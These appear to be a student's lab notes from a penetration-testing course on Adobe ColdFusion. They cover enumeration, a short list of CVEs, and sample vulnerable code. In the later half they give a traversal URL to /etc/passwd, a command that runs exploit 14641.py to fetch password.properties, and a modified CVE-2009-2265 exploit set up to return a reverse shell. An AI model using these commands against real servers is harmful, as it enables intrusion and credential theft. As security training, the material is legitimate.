15. Coldfusion

CF is a proglang and webapp dev platform based on Java.

<cfquery name="myQuery" datasource="myDataSource">
  SELECT *
  FROM myTable
</cfquery>

cfloop to iterate through records retrieved from db:

<cfloop query="myQuery">
  <p>#myQuery.firstName# #myQuery.lastName#</p>
</cfloop>

CF supports other proglangs like JS and java allowing devs to use their preferred proglang in the env. Support for email, PDF, graphing, other feats. Apps devd using CF can run on any server that supports its' runtime. Available for download from adobe site and can be installed on Windows, mac, or linux. CF apps can also be deployed on cloud plats like AWS / Azure.

![](/img/Pasted image 20250120142522.png)

Despite being less popular than other webdev plats - CF is still widely used by devs and orgs globally. Thanks to ease of use, rapid app dev capabilities, and integ with other web tech, its an ideal choice for building webapps quickly and efficiently.

Like any web-facing tech CF has historically been vulnerable to several types of attacks i.e. SQLi, XSS, directory traversal, auth bypass, arbitrary file upload etc.

  1. CVE-2021-21087: Arbitrary disallow of uploading JSP source code
  2. CVE-2020-24453: Active Directory integration misconfiguration
  3. CVE-2020-24450: Command injection vulnerability
  4. CVE-2020-24449: Arbitrary file reading vulnerability
  5. CVE-2019-15909: Cross-Site Scripting (XSS) Vulnerability

Exposed ports

Coldfusion Enumeration

Method Description
Port Scanning ColdFusion typically uses port 80 for HTTP and port 443 for HTTPS by default. So, scanning for these ports may indicate the presence of a ColdFusion server. Nmap might be able to identify ColdFusion during a services scan specifically.
File Extensions ColdFusion pages typically use ".cfm" or ".cfc" file extensions. If you find pages with these file extensions, it could be an indicator that the application is using ColdFusion.
HTTP Headers Check the HTTP response headers of the web application. ColdFusion typically sets specific headers, such as "Server: ColdFusion" or "X-Powered-By: ColdFusion", that can help identify the technology being used.
Error Messages If the application uses ColdFusion and there are errors, the error messages may contain references to ColdFusion-specific tags or functions.
Default Files ColdFusion creates several default files during installation, such as "admin.cfm" or "CFIDE/administrator/index.cfm". Finding these files on the web server may indicate that the web application runs on ColdFusion.

Example nmap output for a CF server:

stejwes@htb[/htb]$ nmap -p- -sC -Pn 10.129.247.30 --open

Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-13 11:45 GMT
Nmap scan report for 10.129.247.30
Host is up (0.028s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
8500/tcp  open  fmtp
49154/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 350.38 seconds

Attacking ColdFusion

Searchsploiting coldfusion gives us a good amount of cve pocs. - searchsploit adobe coldfusion If we've enumerated CF8 being used we obviously are interested in CVEs that attack this version. There's directory traversal and RCE cves in searchsploit output.

<cfdirectory directory="#ExpandPath('uploads/')#" name="fileList">
<cfloop query="fileList">
    <a href="uploads/#fileList.name#">#fileList.name#</a><br>
</cfloop>

In this example code snippet cfdirectory tag lists contents of uploads dir. cfloop tag loops through the query results to display filenames as clickable elements in html.

Directory parameter is not validated correctly and is vulnerable to a path traversal attack.

http://example.com/index.cfm?directory=../../../etc/&file=passwd

CVE-2010-2861 is the Adobe ColdFusion - Directory Traversal

These files are vuln in cf 9.0.1 and earlier. Exploit used to read arbitrary files outside intended directory using ../ sequences in locale parameter

ex:

http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=en

password.properties file in CF is a conf file that securely stores encrypted passwords for various services and resources that CF server uses.

By providing parameters to exploit script 14641.py we can grab this file.  File usually found at [cf_root]/lib

python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"

RCE CVE You know what RCE is. Example of vulnerable code snippet in CF

<cfset cmd = "#cgi.query_string#">
<cfexecute name="cmd.exe" arguments="/c #cmd#" timeout="5">

No validation done. In CF - unauth RCE occurs when attacker can exec arbitrary code on server without requiring authentication, i.e. debugger console or file upload functionality. In above code cmd var created by concatenating cgi.query_string with cmd to eb executed. CMD exec using cfexecutefunction, runs windows cmd.exe with specified args. cmd var is not validated and does not require authentication

Example in CF: CVE-2009-2265

http://www.example.com/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=
searchsploit -p 50057

Exploit mod:

if __name__ == '__main__':
    # Define some information
    lhost = '10.10.14.55' # HTB VPN IP
    lport = 4444 # A port not in use on localhost
    rhost = "10.129.247.30" # Target IP
    rport = 8500 # Target Port
    filename = uuid.uuid4().hex

Note that it takes time to run, but eventually returns remote shell